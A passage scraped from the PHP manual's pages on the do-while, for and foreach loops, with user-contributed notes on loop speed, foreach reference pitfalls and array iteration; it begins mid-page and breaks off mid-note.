There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop:  And that is when the check condition is made.

In a do--while loop, the test condition evaluation is at the end of the loop.  This means that the code inside of the loop will iterate once through before the condition is ever evaluated.  This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop.

Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed.
while
for
Control Structures


for

(PHP 4, PHP5)

for loops are the most complex loops in PHP. They behave like their C counterparts. The syntax of a for loop is:

for (expr1; expr2; expr3)
    statement

The first expression (expr1) is evaluated (executed) once unconditionally at the beginning of the loop.

In the beginning of each iteration, expr2 is evaluated. If it evaluates to TRUE, the loop continues and the nested statement(s) are executed. If it evaluates to FALSE, the execution of the loop ends.

At the end of each iteration, expr3 is evaluated (executed).

Each of the expressions can be empty or contain multiple expressions separated by commas. In expr2, all expressions separated by a comma are evaluated but the result is taken from the last part. expr2 being empty means the loop should be run indefinitely (PHP implicitly considers it as TRUE, like C). This may not be as useless as you might think, since often you'd want to end the loop using a conditional break statement instead of using the for truth expression.

Consider the following examples. All of them display the numbers 1 through 10:

<?php
/* example 1 */

for ($i = 1; $i <= 10; $i++) {
    echo $i;
}

/* example 2 */

for ($i = 1; ; $i++) {
    if ($i > 10) {
        break;
    }
    echo $i;
}

/* example 3 */

$i = 1;
for (; ; ) {
    if ($i > 10) {
        break;
    }
    echo $i;
    $i++;
}

/* example 4 */

for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>

Of course, the first example appears to be the nicest one (or perhaps the fourth), but you may find that being able to use empty expressions in for loops comes in handy in many occasions.

PHP also supports the alternate "colon syntax" for for loops.

for (expr1; expr2; expr3):
    statement
    ...
endfor;

Its a common thing to many users to iterate though arrays like in the example below.

<?php
/*
* This is an array with some data we want to modify
* when running through the for loop.
*/
$people = Array(
        Array('name' => 'Kalle', 'salt' => 856412),
        Array('name' => 'Pierre', 'salt' => 215863)
        );

for($i = 0; $i < sizeof($people); ++$i)
{
    $people[$i]['salt'] = rand(000000, 999999);
}
?>

The problem lies in the second for expression. This code can be slow because it has to calculate the size of the array on each iteration. Since the size never change, it can be optimized easily using an intermediate variable to store the size and use in the loop instead of sizeof. The example below illustrates this:

<?php
$people = Array(
        Array('name' => 'Kalle', 'salt' => 856412),
        Array('name' => 'Pierre', 'salt' => 215863)
        );

for($i = 0, $size = sizeof($people); $i < $size; ++$i)
{
    $people[$i]['salt'] = rand(000000, 999999);
}
?>

User Contributed Notes

kanirockz at gmail dot com 21-Mar-2010 11:49
Here is another simple example for " for loops"

<?php

$text="Welcome to PHP";
$searchchar="e";
$count="0"; //zero

for($i="0"; $i<strlen($text); $i=$i+1){

    if(substr($text,$i,1)==$searchchar){

       $count=$count+1;
    }

}

echo $count

?>

this will be count how many "e" characters in that text (Welcome to PHP)
kanirockz at gmail dot com 21-Mar-2010 11:48
Here is another simple example for " for loops"

<?php

$text="Welcome to PHP";
$searchchar="e";
$count="0"; //zero

for($i="0"; $i<strlen($text); $i=$i+1){

    if(substr($text,$i,1)==$searchchar){

       $count=$count+1;
    }

}

echo $count

?>

this will be count how many "e" characters in that text (Welcome to PHP)
Steven 11-Jan-2009 10:50
Alternating form rows:

<?php

$rows = 4;

echo '<table><tr>';

for($i = 0; $i < 10; $i++){
    echo '<td>' . $i . '</td>';
    if(($i + 1) % $rows == 0){
        echo '</tr><tr>';
    }
}

echo '</tr></table>';

?>

Changing $rows will change how many columns are in a row.
dkimbel13 at gmail dot com 07-Jan-2009 03:41
Just a note on looping through an array using the for() loop.

with the array...
<?php $array = array("value1","value2","value3"); ?>

then...
<?php
for(reset($array),current($array),next($array){
    echo("Element ".key($array)." contains ".current($array)."<br/>";
}
?>

is the equivalent of...
<?php
for($i=0;$i<count($array);$i++){
    echo("Element $i contains $array[$i]<br/>");
}
?>

I don't know if there is any advantage, just thought I would mention it.
http://badluck.tv 24-Mar-2008 05:05
Nested For Loop with the same iterator as the parent.
(Well formatted so the resulting code is clean when executed).
Useful for outputting a data array into a table, ie. images.

<?php
//Dummy data
$data = array(73,74,75,76,78,79,80,81,82,83,84,85,86,87);

//Our 'stepping' variable
$g = 0;

//Our rowcount
$rowcount = 0;

echo "<table cellspacing='0'>\r";
    for ($i=0; $i<count($data); ) {

        $rowcount++;
        echo "    <tr>\r"; //New row

        $g = $i + 3; //Set our nested limit
        for( ; $i<$g; $i++) { //nested for loop

            if (!isset($data[$i])) { //Allow us to break on incomplete rows
                break;
            }

            echo "        <td style='border: 1px #000 solid;'>\r"; //Out put a cell
            echo "            <p>Row $rowcount <br/> Cell: $i <br/> Data: $data[$i]</p>\r";
            echo "        </td>\r";
        }

        echo "    </tr> \r"; //End New Row
    }

echo "</table>\r";?>
eduardofleury at uol dot com dot br 14-Jun-2007 06:18
<?php
//this is a different way to use the 'for'
//Essa é uma maneira diferente de usar o 'for'
for($i = $x = $z = 1; $i <= 10;$i++,$x+=2,$z=&$p){

    $p = $i + $x;

    print "\$i = $i , \$x = $x , \$z = $z <br />";

}

?>
lishevita at yahoo dot co (notcom) .uk 08-Sep-2006 12:33
On the combination problem again...

 It seems to me like it would make more sense to go through systematically. That would take nested for loops, where each number was put through all of it's potentials sequentially.

The following would give you all of the potential combinations of a four-digit decimal combination, printed in a comma delimited format:

<?php
for($a=0;$a<10;$a++){
    for($b=0;$b<10;$b++){
          for($c=0;$c<10;$c++){
              for($d=0;$d<10;$d++){
                echo $a.$b.$c.$d.", ";
              }
           }
      }
}
?>

Of course, if you know that the numbers you had used were in a smaller subset, you could just plunk your possible numbers into arrays $a, $b, $c, and $d and then do nested foreach loops as above.

- Elizabeth
JustinB at harvest dot org 04-Aug-2005 04:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
    // Do Something with All Those Fun Numbers
}
?>
user at host dot com 19-Apr-2004 03:53
Also acceptable:

<?php
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
?>
bishop 17-Jul-2003 01:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
    $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:       7.9857 s
Obvious version: 27.608 s
nzamani at cyberworldz dot de 17-Jun-2001 11:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

<?php
for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}
?>

Faster would be:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}
?>

And here a little trick:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;
?>

The $i gets changed after the copy for the function (post-increment).
do-while
foreach
Control Structures


foreach

(PHP 4, PHP5)

The foreach construct provides an easy way to iterate over arrays. foreach works only on arrays and objects, and will issue an error when you try to use it on a variable with a different data type or an uninitialized variable. There are two syntaxes:

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

The first form loops over the array given by array_expression. On each iteration, the value of the current element is assigned to $value and the internal array pointer is advanced by one (so on the next iteration, you'll be looking at the next element).

The second form will additionally assign the current element's key to the $key variable on each iteration.

It is possible to customize object iteration.

Note:

When foreach first starts executing, the internal array pointer is automatically reset to the first element of the array. This means that you do not need to call reset() before a foreach loop.

As foreach relies on the internal array pointer changing it within the loop may lead to unexpected behavior.

In order to be able to directly modify array elements within the loop precede $value with &. In that case the value will be assigned by reference.

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
unset($value); // break the reference with the last element
?>

Referencing $value is only possible if the iterated array can be referenced (i.e. if it is a variable). The following code won't work:

<?php
foreach (array(1, 2, 3, 4) as &$value) {
    $value = $value * 2;
}
?>

Warning

Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset().

Note:

foreach does not support the ability to suppress error messages using '@'.

You may have noticed that the following are functionally identical:

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list(, $value) = each($arr)) {
    echo "Value: $value<br />\n";
}

foreach ($arr as $value) {
    echo "Value: $value<br />\n";
}
?>

The following are also functionally identical:

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list($key, $value) = each($arr)) {
    echo "Key: $key; Value: $value<br />\n";
}

foreach ($arr as $key => $value) {
    echo "Key: $key; Value: $value<br />\n";
}
?>

Some more examples to demonstrate usages:

<?php
/* foreach example 1: value only */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
    echo "Current value of \$a: $v.\n";
}

/* foreach example 2: value (with its manual access notation printed for illustration) */

$a = array(1, 2, 3, 17);

$i = 0; /* for illustrative purposes only */

foreach ($a as $v) {
    echo "\$a[$i] => $v.\n";
    $i++;
}

/* foreach example 3: key and value */

$a = array(
    "one" => 1,
    "two" => 2,
    "three" => 3,
    "seventeen" => 17
);

foreach ($a as $k => $v) {
    echo "\$a[$k] => $v.\n";
}

/* foreach example 4: multi-dimensional arrays */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
    foreach ($v1 as $v2) {
        echo "$v2\n";
    }
}

/* foreach example 5: dynamic arrays */

foreach (array(1, 2, 3, 4, 5) as $v) {
    echo "$v\n";
}
?>

User Contributed Notes

nobody at nobody dot com 22-Dec-2011 01:11
<?php
$d3 = array('a'=>array('b'=>'c'));
foreach($d3['a'] as &$v4){}
foreach($d3 as $v4){}
var_dump($d3);
?>
will get something look like this:
array(1) {
  ["a"]=>
  array(1) {
    ["b"]=>
    &array(1) {
      ["b"]=>
      *RECURSION*
    }
  }
}
then you try to walk some data with this array.
the script run out of memory and connect reset by peer

the document says:
Warning
Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset().

so what I learn is that NEVER ignore """Warning""" in document....
308840239 at qq dot com 17-Nov-2011 07:19
Be aware of this:
        foreach($_POST as &$v)
    {
        $v = strip_tags($v);
    }
This can remove html tags in $_POST, but this do not change the value in $_REQUEST although $_REQUEST includes $_POST.
bcory at univelocity dot com 28-Oct-2011 01:44
Though i would add this for everyone. I am building a form creation library for myself but this is nice if you need to get list option for a select in a form and pass them through to you gui. If anyone notices any issue will you let me know

my example array below

<?php
$passarray = array(
    "one" => 1,
    "two" => 2,
    "three" => 3,
    "seventeen" => 17
);
?>

function to create the options to select from

<?php
function create_htmloption($a)
{
$formatedarray='';
    foreach ($a as $k => $v) {
            $formatedarray.= "<option value=\"$a[$k]\">$v</option>
    ";
    }
return $formatedarray;
}
?>

Select creator

<?php
function select_field($name, $id, $passarray)
{
$optionarray=create_htmloption($passarray);
$fieldinfo="
<select name=\"$name\" id=\"$id\">
 $optionarray
</select>
";
return $fieldinfo;
}

$bob=select_field('bob', '2', $passarray);
echo $bob;
?>

seems fairly simple and might help someone work their select options into a database
glitch dot mr at gmail dot com 26-Sep-2011 12:36
"foreach does not support the ability to suppress error messages using '@'."

That's not exactly true. It's indeed not possible to do turn off error reporting for foreach(){} instruction itself.

<?php
    @foreach($array as $value){} // invalid, unexpected T_FOREACH
?>

But, it's possible to turn off every possible way of having error by casting $variable to array and using @ operator on it to ignore possible errors. Note that this code WILL run one loop on your code if it isn't array with actual value. If it's OK, you might use it, but if it's not acceptable look for solutions below.

<?php
    foreach((array) @$array as $value){}
?>

If you don't like this behavior you can use in_array() function to check if it's array and use empty array if it isn't array and use correct way depending on type of value.

<?php
    foreach(is_array($array) || is_object($array) ? $array : array() as $value){}
?>

If you don't like all this variable abuse (for example if you have more complex code, you can make assigment in your foreach() code (note that this way it's way more complex and pretty obfuscated)).

<?php
    // will parse every array inside this array in reverse order
    foreach(is_array($_ = array_shift($array)) || is_object($_) ? $_ : array() as $value){}
?>

Of course usually it's just enough to check if value is array, or just accept it anyways if there is no chance that it could be anything else. Or you could turn off error_reporting() before accessing foreach(){} and turning it on shortly after that...

But actually, this is not existing problem. In fact, all those warnings help to find errors in your code and I personally wouldn't want to avoid such things. if(@$a){} is personally for fine replacement of empty() through...
bartosz dot tomczak at barell dot org 13-Sep-2011 06:16
<?php
foreach (array() as $value){
    echo $value;  // Prints nothing here
}
?>

The code above always prints nothing, because array() returns empty array. So $value always be empty and echo has nothing to print - you never know if foreach is in loop.
cuonghuyto 03-Jun-2011 03:14
Note that foreach does zero loop on an empty array

<?php
foreach (array() as $value){
    echo $value;  // Prints nothing here
}
?>

(This is in an effort to make a strict specification of PHP functions/constructs)
gcocatre at gmail dot com 21-May-2011 05:29
The following code produces an unexpected result:

<?php
$a = array ('zero', 'one', 'two', 'three');
foreach ($a as $key => $value)
    echo "$key: $value\n";
var_dump(key($a));

/* Produces:
0: zero
1: one
2: two
3: three
int(1)
*/
?>

Reset your array after using foreach on it!
billardmchl at aol dot com 20-May-2011 01:20
This function find well the words, add well adds a () around short words, but the
array at the end of th function is the same as at the beginning.

<?php
function isole_mots($chaine)
{
    $chaine = "le petit chat est fou";
    $mots = preg_split('/[!,-.;?:()[ ]/', $chaine, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($mots as $mot)
    {
        if (strlen($mot) <= 3)
            $mot = "(".$mot.")";
    print " inside foreach $mot <br>";
    }
print "after foreach array mots";
    print_r($mots);
    die();
    return $mots;
}
?>

inside foreach (le)
inside foreach petit
inside foreach chat
inside foreach (est)
inside foreach (fou)
after foreach array motsArray ( [0] => le [1] => petit [2] => chat [3] => est [4] => fou )
broshizzledizzle at gmail dot com 17-Mar-2011 01:04
@benekastah

You are unintentionality misleading people.

Your code is the same as this:
<?php
$array = array('a', 'b', 'c', 'd');
foreach ( $array as $letter )
    ;
echo $letter;
?>

What I mean by this is that you execute the foreach loop but don't do anything with it.  The reason you can echo the last value in the array is because of the warning posted above: "Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset()."
someone 16-Mar-2011 01:07
It seems when you use references in a foreach, and then you add elements to the array within it, it only runs through them if the current element isn't the last of the array (with 5.2.11 at least).
benekastah at gmail dot com 14-Mar-2011 09:26
It's good to know that if you accidentally (or purposefully) put a semicolon at the end of the first line of a foreach statement, no error or warning will be thrown. Instead, the foreach will iterate only on the last entry in the array. Therefore,
<?php
$array = array('a', 'b', 'c', 'd');
foreach ( $array as $letter ); // <--Semicolon at end of foreach statement
    echo $letter;
?>
will only echo 'd' as it's response (rather than 'abcd'). I don't know if this is meant to be the case, or if it is meant to err.
Mark Rose 15-Dec-2010 02:55
Be careful recycling the $value variable if using a reference! I recently ran into a strange bug, where the last item of a second foreach loop was referenced.

<?php

$foo = array('one', 'two', 'three');

foreach ($foo as &$bar)
{
 // no-op
}

var_dump($foo);

foreach ($foo as $bar)
{
 // no-op
}

var_dump($foo);
?>

produces:

array(3) {
  [0]=>string(3) "one"
  [1]=>string(3) "two"
  [2]=>&string(5) "three"
}
array(3) {
  [0]=>string(3) "one"
  [1]=>string(3) "two"
  [2]=>&string(3) "two"
}

Note that the last value in the array gets set to the second last value!
Alex S. 09-Dec-2010 07:18
Just found a way without a counter handling last element in a foreach :

<?php
$foo = ($current_key == count($array)-1) ? "last element" : "any other element";
?>
fabiolimasouto at gmail dot com 02-Dec-2010 07:39
I've been using this foreach structure for two years or so now, and just figured something new which i hadn't realized before, please have a look at this:

<?php
class Test
{
 private $data;
 function &data()
 {
  return $this->data;
 }

 function getData()
 {
  return $this->data;
 }
}

$obj = new Test;
$data =& $obj->data();
$array = array('a','b','c');

foreach($array as $data)
{
}

echo $obj->getData(); // OUTPUTS: "c"!!!

?>

What I can say from this is that if you pass a reference to the data holder of the foreach structure instead of a non-declared or normal (non-reference) variable, you will be able to fill that same (referenced) space in memory without creating a new one. Note that this is slightly different as explained in the manual above:

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
unset($value); // break the reference with the last element
?>

In this case $value will simply point to the original addresses of each $array's elements in each iteration. In my example the $data variable is before anything already pointing to another address elsewhere and will have THAT memory location filled in each iteration!!! Hope I've made this somewhat understandable.
Sipos Tams 12-Nov-2010 10:37
This is an example of the use of the second, minor case of foreach.

A useful script that returns the relative URL of the current page with the current "GET data".

<?php
function getCurrentURL() {
    $currentURL = basename($_SERVER["PHP_SELF"]);
    $i = 0;
    foreach($_GET as $key => $value) {
        $i++;
        if($i == 1) { $currentURL .= "?"; }
        else { $currentURL .= "&amp;"; }
        $currentURL .= $key."=".$value;
    }
    return $currentURL;
}
?>

Note that most of the time basename($_SERVER["REQUEST_URI"] is enough for this task as well, but if in the browsers's address bar is only http://example.com/ instead of http://example.com/index.php displayed, than basename($_SERVER["REQUEST_URI"] fails.
Oleg englishman at bigmir dot net 14-Sep-2010 07:12
For those who'd like to traverse an array including just added elements (within this very foreach), here's a workaround:

<?php
$values = array(1 => 'a', 2 => 'b', 3 => 'c');
while (list($key, $value) = each($values)) {
    echo "$key => $value \r\n";
    if ($key == 3) {
        $values[4] = 'd';
    }
    if ($key == 4) {
        $values[5] = 'e';
    }
}
?>

the code above will output:

1 => a
2 => b
3 => c
4 => d
5 => e
j dot vd dot merwe at enovision dot net 26-Aug-2010 05:11
A sample how to go through a list of array elements that resulted from mysql recordset. In this sample it checks if a file exists and removes the row from the array if it not.

<?php
$db->set_query("select * from documents where document_in_user = 0"); //1
$documents = $db->result_to_array($db->get_result()); //1

foreach ($documents as $key => $row) { //2

    $file     = "uploads/".rawurldecode($row['document_name']);

    if ( file_exists ( $file ) == FALSE ) {
         unset($documents[$key]);  //3
    }
}

$documents = array_values($documents); // reindex the array (4)
?>

variables:
mysql table = documents,
array = $documents
array key (index) = $key
array row (record sort of speak) = $row

explanation:

1.
it gets the array from the table (mysql)

2.
foreach goes through the array $documents

3.
unset if record does not exist (remove the row)

4.
the array_values($documents) reindexes the $documents array, for otherwise you might end up in trouble when your  process will start expecting an array starting with key ($key) 0 (zero).
himitsu at fnse dot de 08-Aug-2010 05:59
Your last value changes after use of references.

<?php
$arr = array(' one ', ' two ', ' tree ', ' four ', ' five ');
print_r($arr);
foreach ($arr as &$str)
  $str = trim($str);
print_r($arr);
foreach ($arr as $str)
  echo $str . "\n";
print_r($arr);
?>

Array (         Array (         one      Array (
[0] => one      [0] => one      two      [0] => one
[1] => two      [1] => two      tree     [1] => two
[2] => tree     [2] => tree     four     [2] => tree
[3] => four     [3] => four     four     [3] => four
[4] => five     [4] => five              [4] => four
)               )                        )

<?php
$arr = array(' one ', ' two ', ' tree ', ' four ', ' five ');
foreach ($arr as &$str)
  $str = trim($str);
foreach ($arr as $str) {
  print_r($arr);
  echo $str . "\n";
}
print_r($arr);
?>

[0] => one    => one   => one   => one   => one   => one
[1] => two    => two   => two   => two   => two   => two
[2] => tree   => tree  => tree  => tree  => tree  => tree
[3] => four   => four  => four  => four  => four  => four
[4] => one    => two   => tree  => four  => four  => four

tested in PHP 5.2.4 and PHP 5.3.0
cornvalley at gmail dot com 28-Jul-2010 04:39
Foreach can be also used to move around multiple tables.
Here is simple example.

<?php
$table[0][0][0] = 6;
$table[0][0][1] = 17;
$table[0][0][2] = 12;
$table[0][0][3] = 8;
$table[0][1][0] = 9;
$table[0][1][1] = 13;
$table[0][1][2] = 11;
$table[0][1][3] = 5;
$table[0][2][0] = 1;
$table[1][1][0] = 4;
$table[1][2][0] = 2;
$table[2][4][1] = 1;

    foreach ($table as $i1 => $n1)
        foreach ($n1 as $i2 => $n2)
            foreach ($n2 as $i3 => $n3)
                printf('$table[%d][%d][%d] = %d;<br>', $i1,$i2,$i3,$n3);?>

It gives the result:
$test[0][0][0] = 6;
$test[0][0][1] = 17;
$test[0][0][2] = 12;
$test[0][0][3] = 8;
$test[0][1][0] = 9;
$test[0][1][1] = 13;
$test[0][1][2] = 11;
$test[0][1][3] = 5;
$test[0][2][0] = 1;
$test[1][1][0] = 4;
$test[1][2][0] = 2;
$test[2][4][1] = 1;
Kris dot Craig at gmail dot com 09-Jun-2010 11:42
If you're looking for a quick and easy way to recursively pull data from an MD array, here's a little function that should come in handy:

<?php
   /* Grab any values from a multidimensional array using infinite recursion.  --Kris */
   function RecurseArray( $inarray, $toarray )
   {
       foreach ( $inarray as $inkey => $inval )
       {
           if ( is_array( $inval ) )
           {
               $toarray = $this->RecurseArray( $inval, $toarray );
           }
           else
           {
               $toarray[] = $inval;
           }
       }

       return $toarray;
   }
?>
John 17-May-2010 04:38
For those wishing to try the heresy of adding to an array while it is being processed in a foreach loop, note that your added value will not be processed at the end of the loop!

<?php
$arr = array(1,2,3,4,5);
foreach($arr as $val) if($val==3) $arr[]=6; else echo $val;
?>

will show "1245" not "12456".
jsimlo at yahoo dot com 19-Dec-2009 04:31
There is currently no syntax to write a single yet lazy-evaluated foreach thru multiple arrays, but you can double-foreach like this (this is not lazy-evaluated yet):

<?php

foreach (array ($array1, $array2, $array3) as $control)
  foreach ($control as $item)
    echo $item;

?>

The above will echo all items from all three input arrays. Note that simple array_merge might not always work (sicne array_merge might depend on the type of array keys) and might consume more memory in the process. The reasonable grounds for doing this might be a more complicated body of the foreach, which you do not want to repeat in your code for every input array, or a fact that you got too many input arrays.

Now, a lazy-evaluation trick would look something like this (although php is capable of optimizations that fully neglect reasons for doing things like this):

<?php

foreach (array ('array1', 'array2', 'array3') as $control)
  foreach ($$control as $item)
    echo $item;

?>

And finally, a lazy-evaluation trick that might be reasonable:

<?php

foreach (array ('expr1', 'expr2', 'expr3') as $control)
  foreach (eval ($control) as $item)
    if ($item) break 2; else echo $item;

?>

Example (searching for a non-trivial value):

<?php

// search for a child name
$seachName = 'Jozko';

// prepare the sources
$sources = array (
  '$item1->GetChilds()',
  '$item2->GetChilds()',
  '$item3->GetParent()->GetChilds()',
  '$item3->GetComputeSomethingDifficultChilds()',
);

// search in several different arrays
foreach ($sources as $control)
  foreach (eval ($control) as $child)
    if ($child->GetName() == $seachName) break 2;

// now we got the correct child
// and we did it in lazy-evaluation style
print_r ($child);
mazdak dot farrokhzad at piratpartiet dot se 23-Sep-2009 09:49
This is a really silly example of how you can implement foreach for objects in a really crazy way...

It's not something you should use...

<?php
    /**
     * Same as foreach, for objects...
     *
     * @param object|array $_collection
     * @param callback $_lambda
     * @param mixed $_data optional
     * @return void
     */
    function loop($_collection, $_lambda, $_data = null)
    {
        if(is_array($_collection))
        {
            foreach($_collection as $key => $value)
            {
                if(is_null($_data))
                    $_lambda($key, $value);
                else
                    $_lambda($key, $value, $_data);
            }
        }
        elseif(is_object($_collection))
        {
            $iter = $_collection->getIterator();
            $iter->rewind();

            while($iter->valid())
            {
                if(is_null($_data))
                    $_lambda($iter->key(), $iter->current());
                else
                    $_lambda($iter->key(), $iter->current(), $_data);

                $iter->next();
            }
        }
        else
            trigger_error('Only Accepts Objects or Arrays', E_USER_ERROR);
    }

    // and this is how to use it...
    $data = "some random data"; // you can place $this here
    loop(new ArrayObject(array(1,2,3,4)), function(&$_key, &$_value, &$_data)
    {
        echo $_key.$_value.$_data;
    }, $data);
?>
s dot mattison at gmail dot filtersoutmyspam dot com 10-Sep-2009 03:19
I hope other people find this useful.

<?php
/*
---------------------------------
"Null" Array filler
by Steve Mattison

This script shows one way PHP can
display an array, and pad it with
'nonexistant' values. This may be
useful, for instance, in reducing
the size of a database by storing
only values that deviate from a
set standard.
---------------------------------
*/

$arr = array(3, 5, -47); //the values. we're looking for the first two.
//an arbitrary lower number must append the array.
//this is so the main loop continues after the last value has been found.

$arr2 = array("oranges", "pears", null); //value descriptions.

foreach ($arr as $key=>$value) { //get next value that we seek.

    for($iterate=$last+1;$iterate<10;$iterate++){ //iterate a loop.
    //start at the last position+1, in case we've already looped once.
    //if we haven't looped yet, $last is not defined; we start at 1.

        $last=$iterate; //keep track of our position.
        echo '<br>['.$iterate.'] - '; //show it.

        if($iterate==$value){ //an array value has appeared.
            echo ($arr2[$key]); //show the deviant value.
            break; //break the loop and get the next value.
        } //end if
        else echo ("apples"); //otherwise show the default value.

    } //next $iterate

    //array values higher than the loop condition will be ignored.
    //optionally, you may wish to check for this and display them here.

} //next-each $arr

unset($value); //clear up the memory used by foreach

//Example Result Set:
//[1] - apples
//[2] - apples
//[3] - oranges
//[4] - apples
//[5] - pears
//[6] - apples
//[7] - apples
//[8] - apples
//[9] - apples
?>
Krzysztof - ksobolewski at o2 dot pl 09-Jul-2009 04:50
The weird behaviour of references in foreach remains as long as in PHP 5.2.08  (Linux) and PHP 5.2.9 (Windows XP).   The simplest example would be:

<?php
    $a = array('a', 'b','c');
    foreach($a as &$row){
        //you don't have to do anything here
       }
    print_r($a);
    foreach($a as $row){
       echo "<br />".$row;
    }
?>

the result of print_r will be correct - array of ('a','b','c') values. The second foreach, however, would
produce a,b,b. For all arrays, regardless of size, it would be the n-1 element
 (the element right before the last one). Eg. for 'a','b','c','d','e','f', the script would produce a,b,c,d,e,e.
There are few solutions to this:

1. safest - avoid using references in foreach;  so instead of
<?php
foreach($a as &$row){
    // do something, eg.
    $row = trim($row);
}
?>

you would use

<?php
foreach($a as $i=>$row){
    // do something on row, eg.
    $row = trim($row);
    // replace the row in the table
    $a[$i]=$row;
}
?>
decrease of performance is the cost, however

2. equally safe and more usable - unset the element reference right after the foreach loop with references, eg.:
<?php
    $a = array('a', 'b','c');
    foreach($a as &$row){
        //you don't have to do anything here
       }
       unset ($row)); // it is safe now to use $row again
    print_r($a);
    foreach($a as $row){
       echo "<br />".$row;
    }
?>

3. use references in both case; it seems that iterations work correct if you use &$row in both loops or don't use it in any:

<?php
    $a = array('a', 'b','c');
    foreach($a as &$row){
        //you don't have to do anything here
       }
       print_r($a);
       // works OK now even without unset($row)
    foreach($a as &$row){
       echo "<br />".$row;
    }
?>

4. use references in foreach only inside functions or methods; outside the function scope it should be safe

<?php
function cleanTable($a){
    foreach($a as &$row){
        $row = trim($row);
    }
}

$a = array('a','b','c');
cleanTable($a);
foreach($a as $row){
echo "<br />".$row;
}
?>

drawbacks: NONE! I Quite contrary, the code looks more tidy.

5. avoid using the same variable names for referenced and non-referenced values; for example, in the first case use &$rRow, and in the second one - $row. It's neither elegant, nor efficient, though, as each new variable lowers the application performance a bit.
<?php
    $a = array('a', 'b','c');
    foreach($a as &$rRow){ // $rRow for 'referenced row'
        //you don't have to do anything here
       }
    print_r($a);

    foreach($a as $row){
       echo "<br />".$row;
    }
?>
burleigh at chorus dot net 04-May-2009 10:21
Using numeric indexes doesn't automatically sort your array.

<?php
$titles[3] = 'three';
$titles[2] = 'two';
$titles[1] = 'one';
print_r( $titles);

foreach ($titles as $t ) {
print "title=$t ";
}

?>

will display:

Array ( [3] => three [2] => two [1] => one )
title=three title=two title=one

If you want the items coming out in the correct order you need to use sort

<?php
sort($titles);
print_r($titles);
?>

Array ( [0] => one [1] => three [2] => two )
grobemo 24-Apr-2009 11:13
You may want to do something different on the last iteration through a foreach loop. For instance, if you're printing a series of HTML list elements, you may want to add a class like 'last' to the final <li> element.

I had trouble finding a good way to do this with a foreach loop. The following code illustrates the method I worked out.

<?php
$array = array('apples','bananas','cranberries','durians');
$last_item = end($array);

foreach($array as $item) {
  if ($item == $last_item) {
    print "I like to eat " . $item;
  }
}
?>

The foreach loop outputs: 'I like to eat durians'.

Technically, you could just use if ($item == end($array)), but I assume that would require more processing time.
strata_ranger at hotmail dot com 19-Apr-2009 10:03
Note that foreach() iterates through an array in the same order that its elements were defined.  If you want to iterate through an array in a different order, you will need to sort the array prior to entering the loop.

For example:
<?php

// Iterate through an array in reverse order,
// maintaining key association (i.e. for associative arrays)
foreach(array_reverse($array, true) as $key=>$value)
{
  . . .
}
?>
timgolding_10 at hotmail dot com 09-Apr-2009 02:50
Here's an example where one can loop through two or more arrays in one loop. this example has two arrays.

<?php
$array1=array("a", "b", "c");
$array2=array("1", "2", "3");
foreach(array_merge($array1, $array2) as $value)
{
    echo $value;
}
// abc123
?>

For more arrays just add them as additional arguments to the array_merge function. This example isn't very useful if your loop needs to return the keys for numeric indexed arrays. For associative arrays you can return the key however must be certain that all the indexes are unique across all arrays.
tedivm at tedivm dot com 29-Jan-2009 02:44
foreach and the while/list/each methods are not completely identical, and there are occasions where one way is beneficial over the other.

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

foreach($arr as $key=>$value)
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 2 3 4 5 6 7 8 9

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

while (list($key, $value) = each($arr))
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 3 5 7 9

[EDIT BY danbrown AT php DOT net: Contains a typofix by (scissor AT phplabs DOT pl) on 30-JAN-2009.]
zodiac2800 at msn dot com 06-Nov-2008 09:36
Here is a way to declare global variable variables using a function.

This particular example handles an array that contains names of $_POST items. This is to avoid the notices that php gives when checking an unused $_POST.

<?php
function check ($inputs) {
